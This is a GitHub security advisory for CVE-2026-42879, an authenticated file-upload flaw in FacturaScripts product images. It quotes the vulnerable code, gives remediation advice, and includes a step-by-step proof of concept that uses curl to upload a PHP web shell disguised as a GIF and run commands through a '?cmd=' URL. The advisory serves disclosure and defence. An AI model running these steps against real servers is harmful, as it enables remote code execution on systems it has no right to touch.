GitHub Advisoryadvisory · Packagist

GHSA-vf3q-frmr-vrr9 FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images

MEDIUM Published 2026-05-07 Modified 2026-06-08 Official page ↗
Aliases
CVE-2026-42879
Ecosystem
Packagist
Packages
facturascripts/facturascripts
Severity
Moderate
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-434, CWE-94
Reviewed
2026-05-07

Affected packages

• Packagist facturascripts/facturascripts: <= 2025.81 (no fix yet)

Description

CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass Summary An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php. --- Details The vulnerability exists in: `Core/Lib/ExtendedController/ProductImagesTrait.php` Specifically in the `addImageAction()` method. Vulnerable Code ```php if (false === strpos($uploadFile->getMimeType(), 'image/')) { Tools::log()->error('file-not-supported'); continue; } $folder = Tools::folder('MyFiles'); Tools::folderCheckOrCreate($folder); $uploadFile->move($folder, $uploadFile->getClientOriginalName()); ``` Root Cause • The validation only checks if MIME type contains `"image/"` • This can be bypassed by prepending GIF89a magic bytes to a PHP file • The system incorrectly identifies the file as `image/gif` • The file is saved with a `.php` extension in a web-accessible directory File Storage Behavior Uploaded files are stored in: ``` /MyFiles/YYYY/MM/X.php ``` Where `X` is an auto-incrementing ID. This allows direct remote execution: ``` http://target/MyFiles/2026/03/2.php?cmd=id ``` --- Impact Successful exploitation: An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation. --- Proof of Concept (Manual) Step 1: Create malicious file ```bash cat > shell.jpg.php EOF ``` Step 2: Authenticate • Login to the application • Extract `PHPSESSID` from browser cookies Step 3: Get CSRF token ```bash curl -s "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4 ``` Step 4: Upload shell ```bash curl -X POST "http://target/EditProducto?code=CONTA621" \ -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \ -F "multireqtoken=YOUR_CSRF_TOKEN" \ -F "action=add-image" \ -F "activetab=EditProductoImagen" \ -F "idproducto=3" \ -F "newfiles[][email protected]" ``` Step 5: Execute command ```bash curl "http://target/MyFiles/2026/03/2.php?cmd=id" ``` --- Affected Products | Field | Value | |---|---| | Ecosystem | Packagist | | CVE ID | CVE-2026-42879 | | Package Name | `facturascripts/facturascripts` | | Affected Versions | <= 2025.81 | | Patched Versions | Not yet patched | | Fixed in | Pending | --- Remediation Recommendations 1. Validate file extension — reject any upload where the filename ends in `.php`, `.phtml`, `.phar`, or other executable extensions, regardless of MIME type 2. Re-generate filenames on the server — never use `getClientOriginalName()`; assign a safe UUID-based name with a validated extension 3. Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution 4. Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like `fileinfo` rather than trusting client-supplied MIME Credits • Discoverer: Abdullah Alwasabei / Guzrex

Related

Alias · CVE (1)

  • CVE-2026-42879 FacturaScripts is an open source accounting and invoicing software. vulnerability

Weakness · CWE (2)

  • CWE-434 Unrestricted Upload of File with Dangerous Type weakness
  • CWE-94 Improper Control of Generation of Code weakness

References